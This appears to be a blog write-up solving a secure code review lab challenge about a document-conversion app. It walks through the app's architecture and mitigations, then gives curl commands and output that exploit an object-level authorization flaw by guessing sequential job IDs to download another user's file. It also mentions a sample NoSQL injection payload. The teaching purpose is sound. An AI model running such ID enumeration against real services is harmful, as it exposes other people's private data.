π’ The solution to Challenge #4: File Converter is live. Watch the video walkthrough here, or read the full write-up on GitHub.
The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs and writeups β you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.
If you haven't attempted the challenge yet, this is your cue to stop reading, clone the repo, and try it yourself first. Everything below assumes you've already had a go at it β no shame either way, but the exercise is worth more if you struggle with it a bit before seeing the answer.
Two quick announcements before we get into it:
-
Challenge #5 is already live in the repo under
challenges/here. The solution to it will follow in two weeks. - The repo uses GitHub Releases for every new challenge and solution drop. If you go to Watch β Custom β Releases on the repo, you'll get notified automatically instead of having to check back manually.
With that out of the way, let's walk through File Converter the same way I did in the video β following the same seven-step methodology laid out in the repo, end to end.
A Quick Reminder of What We're Reviewing
File Converter is an asynchronous document-conversion service β register, log in, upload a file, wait for it to convert in the background, download the result. Unlike Dice, this one does have accounts, sessions, and per-user data, so the full range of business-logic checks is back on the table alongside the usual injection concerns.
Part I β Building the Mental Model
1. πΊοΈ Application Scope & Architecture
As always, the first move is spinning the app up and clicking through it β register, log in, upload a Markdown file, convert it to .docx, download the result. No surprises in the UI itself; the interesting part is what's wired together underneath.
The best way to understand an unfamiliar codebase is to tell it as a story, and here there are two stories worth telling: what happens when the app starts, and what happens when a user logs in, uploads a file, and downloads the result.
Story one β starting the app. docker compose up reads docker-compose.yml, which declares two containers: a stock mongo image (a black box β not our code) and an app container built locally from the repo's Dockerfile. That Dockerfile installs Pandoc and a LaTeX toolchain, then runs node app.js as the entrypoint.
app.js creates the Express app, connects to Mongo on startup, and attaches global middleware that runs on every request:
app.use(express.json()); // parse JSON bodies
app.use(mongoSanitize()); // express-mongo-sanitize β strips $/. keys (NoSQLi guard)
app.use((req, res, next) => { res.setHeader('Content-Security-Policy', ...) }); // CSP
app.use(session({ cookie: { httpOnly: true, sameSite: 'lax' } })); // express-session
Three routers are mounted over one shared data store: /api/auth (register/login, hashing passwords with bcrypt), /api (the conversion API, uploads handled by multer), and / (server-rendered pages via ejs). Both routers reach MongoDB through one wrapper exposing two collections β users and jobs.
The conversion itself runs in the background by shelling out to Pandoc via execFile (no shell) with the --sandbox flag:
const args = ['--sandbox', '-f', reader, inputPath, '-o', outputPath];
execFile('pandoc', args, { timeout: 30000 }, ...);
Story two β log in, upload, download. Logging in checks the stored bcrypt hash and, on success, writes the user's ID into the session (req.session.userId = user.id). Every protected route then checks that session β the API's requireAuth returns 401 with no session, the UI's requireUser redirects to /login.
Uploading (POST /api/convert) chains requireAuth β assigns a job ID β multer saves the file under a server-generated name (job ID + validated extension, not the user's original filename) β a job document is created tying the file to its owner β conversion runs in the background, flipping the job's status to completed when Pandoc finishes.
Downloading (GET /api/convert/:jobId/download, or the UI twin GET /jobs/:jobId/download) fetches the job by its job ID and streams the output file back.
That last sentence is worth re-reading once we get to the mitigation review.
2. πͺ Entry Points
-
POST /api/auth/register,/api/auth/loginβ auth: none β takes username, email, password. -
POST /api/convertβ auth: session β takes an uploaded file andtargetFormat. -
GET /api/convert/:jobIdβ auth: session β takesjobId(path param). -
GET /api/convert/:jobId/downloadβ auth: session β takesjobId(path param). -
POST /register,/login,/convert(UI) β same inputs as above, session on convert. -
GET /jobs/:jobId,/jobs/:jobId/download(UI) β auth: session β takesjobId(path param).
Several routes take a client-supplied jobId path parameter that identifies a stored object β that pattern alone is worth flagging before we've even opened the threat model.
3. π― Dangerous Sinks
Sinks are the operations where untrusted input could change what the program does, not just where it flows:
-
MongoDB queries built from request data β NoSQL injection. Login/lookup pass body fields into
findOne(...). -
OS command execution:
execFile('pandoc', β¦)β command / argument injection. The converter spawns an external binary with arguments derived from the upload. - Pandoc's document processing itself β SSRF / local-file read / RCE. While converting, Pandoc can resolve URLs and local paths referenced by the document and hand raw TeX to the PDF engine β so the uploaded document contents are themselves a sink.
- Filesystem path operations β path traversal. Paths are built for the stored upload, the conversion output, and the download stream.
- HTML/template rendering β XSS. User-controlled fields (filename, username) are rendered into pages.
4 & 5. π§© Threat Modeling and π Mitigation Review
π Business logic first.
Authentication β every state-changing or data route sits behind requireAuth / requireUser. β
Present, and easy to verify independently of reading the code: strip or corrupt the session cookie in Burp and every one of those routes redirects to /login or returns 401 instead of doing the thing.
CSRF β the session cookie is set with sameSite: 'lax', which keeps it off cross-site form POSTs in any reasonably current browser. A lax flag is a real, if browser-dependent, mitigation β a CSRF token would be more robust since it doesn't rely on the browser at all, but lax is good enough here that this isn't the planted bug. β
Adequately mitigated for this design.
Authorization β object-level ownership. This is where it falls apart. The expectation (OWASP API1:2023 β Broken Object Level Authorization) is that every per-object route confirms the object belongs to the caller. What the code actually does: the job routes authenticate the caller, then look the job up by ID only:
router.get('/convert/:jobId/download', requireAuth, async (req, res) => {
const { jobId } = req.params;
const job = await db.findJobByJobId(jobId); // looked up by ID only
if (!job) return res.status(404)...;
// β οΈ no check that job.userId === req.user.id
res.download(job.outputPath, filename, ...); // streams whoever's file it is
});
There's no comparison of job.userId to req.user.id anywhere β not in the middleware, not in the handler, not in the database lookup. The tell: the dashboard listing does scope by owner (findJobsByUserId(userId) filters { userId }), so the ownership concept clearly exists in the codebase. It just was never applied to the routes that fetch a single object. β Not mitigated β this is the planted flaw.
π Source-to-sink next.
Before trusting the app code, it's worth clearing the dependencies too: this image ships far more than package.json shows β Pandoc + LaTeX drags in roughly 425 OS/npm packages, so a container scan is the right move. grype 004-file-converter-app:latest --only-fixed comes back clean; a full scan surfaces only unfixable base-image noise plus one Pandoc SSRF CVE the code already mitigates (more on that below). No CVE database has an entry for "this endpoint forgot to check who owns the record," so the scan is a filter here, not the finding β clearing the dependencies is what leaves the authorization gap as the answer.
Every injection sink checks out as genuinely mitigated:
-
NoSQL injection β
express-mongo-sanitizestrips$/.keys, so{"username":{"$ne":null}}can't smuggle an operator. β -
Command injection β the app shells out, so this is where it would bite if anywhere. It uses
execFile('pandoc', args), notexecβexecFileruns the binary directly with anargvarray and no shell, so;,|,$()are inert. The arguments aren't user-controlled anyway (server-generated paths, a fixed reader,--sandbox). β -
Pandoc SSRF / local-file read / RCE β the sink here is Pandoc itself: while converting, it can resolve a remote image URL or read a local path referenced by the document. This is a real, current risk, and the scan even flags it β
CVE-2025-51591, a genuine SSRF in Pandoc, negligible severity. The advisory itself prescribes--sandboxas the mitigation, which is exactly what the app already applies:--sandboxblocks all disk and network IO during conversion, and the Markdown reader has raw TeX passthrough disabled. Testingproduced a clean output file with no leaked content. β -
Path traversal β the on-disk filename is built from the server-generated job ID, not the user's original filename, via multer's
diskStorage. The output path is derived from the same job ID, and the download handler streamsjob.outputPathfrom the database, not anything user-supplied. β -
XSS β EJS's
<%= %>tag auto-escapes (as opposed to the raw<%- %>tag), a strict CSP is set, and the client renders job status withtextContent, notinnerHTML. β
Everything an injection-hunter would go chasing is deliberately closed. The one gap is authorization.
Part II β Finding, Exploiting, and Fixing the Bug
6. π§ͺ The Vulnerability: Broken Object-Level Authorization via Guessable Job IDs
Class: Broken Object-Level Authorization / IDOR β CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-862 (Missing Authorization), made trivially enumerable by CWE-340 (Predictable Identifiers). OWASP API1:2023.
Two facts combine to make this exploitable rather than theoretical:
1. No ownership check, as shown above β any authenticated user can pass any job ID and get a 200 back with someone else's data.
2. Job IDs are guessable. They're built as today's date plus a per-day counter starting at 1:
return `${dateDigits}${result.seq}`; // e.g. 202609031, 202609032, β¦
So an attacker doesn't even need a leaked link β today's jobs are just 20260903 followed by 1, 2, 3, β¦. Authentication here only answers "are you a user," never "are you this job's user," so any registered account can read or download every other account's conversions.
π Exploitation
Two users: alice uploads a confidential document and converts it; mallory β a separate account that never saw the file β reads and downloads it by guessing the job ID.
# alice (victim) registers, uploads a confidential doc, converts it to docx
curl -s -X POST localhost:3000/api/auth/register -H 'Content-Type: application/json' -c alice.txt \
-d '{"username":"alice","email":"alice@example.com","password":"securepass123"}' >/dev/null
printf '# Alice salary review\n\nAlice earns $200,000. CONFIDENTIAL.\n' > secret.md
curl -s -X POST localhost:3000/api/convert -b alice.txt \
-F file=@secret.md -F targetFormat=docx # -> {"jobId":"202609031"}
# mallory (attacker) β a brand-new account β guesses the ID and steals the file
curl -s -X POST localhost:3000/api/auth/register -H 'Content-Type: application/json' -c mallory.txt \
-d '{"username":"mallory","email":"mallory@example.com","password":"securepass123"}' >/dev/null
curl -s localhost:3000/api/convert/202609031 -b mallory.txt # reads status of a foreign job
curl -s localhost:3000/api/convert/202609031/download -b mallory.txt -o stolen.docx
Real output from the running app:
Attacker (mallory) reads victim's job status by guessing ID 202609031:
{"jobId":"202609031","status":"completed","targetFormat":"docx","outputUrl":"/api/convert/202609031/download"}
Attacker downloads victim's converted file:
HTTP 200, 10453 bytes
Recovered text from the file mallory stole:
Alice salary review
Alice earns $200,000. CONFIDENTIAL.
The UI surface is identical β GET /jobs/202609031/download with mallory's cookie returns the same bytes, and the UI job page even leaks the victim's original filename before download.
Impact: any registered user can enumerate predictable job IDs and read or download every user's uploaded documents and conversions β plus the original filenames the UI discloses β a full cross-tenant confidentiality break (CWE-639 / API1:2023).
7. π οΈ The Fix
Primary fix β enforce ownership on every per-object route. After loading the job, compare its owner to the caller and return 404 (not 403, so the response doesn't confirm the ID even exists):
const job = await db.findJobByJobId(jobId);
if (!job || job.userId !== req.user.id) {
return res.status(404).json({ error: 'Job not found' });
}
Better still, push the check into the query itself so a mismatched owner can never be loaded at all β findJobByJobId(jobId, userId) β findOne({ jobId, userId: new ObjectId(userId) }). Apply this to all four routes: the API's status and download endpoints, and their UI twins.
As with every challenge in this series, that one fix shouldn't be the only control:
-
Unpredictable IDs. Swap the date-plus-counter scheme for a UUID or
crypto.randomUUID()as the public job ID, so IDs can't be enumerated even if an ownership check is ever missed on a future route. Predictability is what turns a single leaked-link IDOR into mass harvesting. -
Scope by owner at the data layer by default. Make
userIda required argument on single-object reads, mirroring whatfindJobsByUserIdalready does β so "look up one job" is ownership-scoped the same way "list my jobs" already is. -
Add an authorization test to the suite. User B must get
404on user A's job. That's the kind of test that catches this exact class of bug in CI before it ships.
Why This Matters Beyond This One App
Every individual control in this app is legitimately well-built: password hashing, NoSQL sanitization, a shell-free command execution pattern, a real CVE mitigated by the exact flag its advisory recommends, safe path construction, auto-escaping templates. None of that mattered, because the one thing none of it covers is ownership. Authentication answers who is calling. Authorization answers whether they may touch this specific object. Those are different questions, and a system can get the first one completely right while never asking the second.
The reviewer's habit that catches this: at every entry point that takes an object ID from the request β a path param, a query string, a body field β ask "whose data is this, and where is that checked?" Treat an ID-only lookup like findByJobId(jobId) as guilty until an ownership check is shown, the same way you'd treat unescaped output as guilty until you've confirmed the templating engine handles it. And treat opaque, unguessable IDs as a backstop, never the actual control β a UUID makes an ownership bug harder to find, but it doesn't fix the bug.
Real-world grounding: IDOR on downloadable resources is a bug-bounty staple. The First American Financial leak (2019) is the canonical large-scale example β sequential document IDs exposed roughly 885 million title-insurance records with no authorization check at all. Same shape of bug, six orders of magnitude bigger blast radius.
Wrapping Up
If you worked through File Converter yourself, I'd like to know: when you hit a route that takes an object ID straight from the URL, is checking ownership a reflex for you by now, or does seeing requireAuth on the route make it feel like the access-control question is already settled?
Challenge #5 is live now if you're ready for the next one, and I'll be back in two weeks with its solution and a new challenge alongside it.
Links:
- π₯ Video walkthrough: https://youtu.be/R_xdc6y9Rho
- π Full solution write-up: SOLUTION.md
- π Repo: the-secure-code-review-challenge
- π§© Try Challenge #4: challenges/004-file-converter
- π§© Try Challenge #5: challenges/005-notetaker
Top comments (0)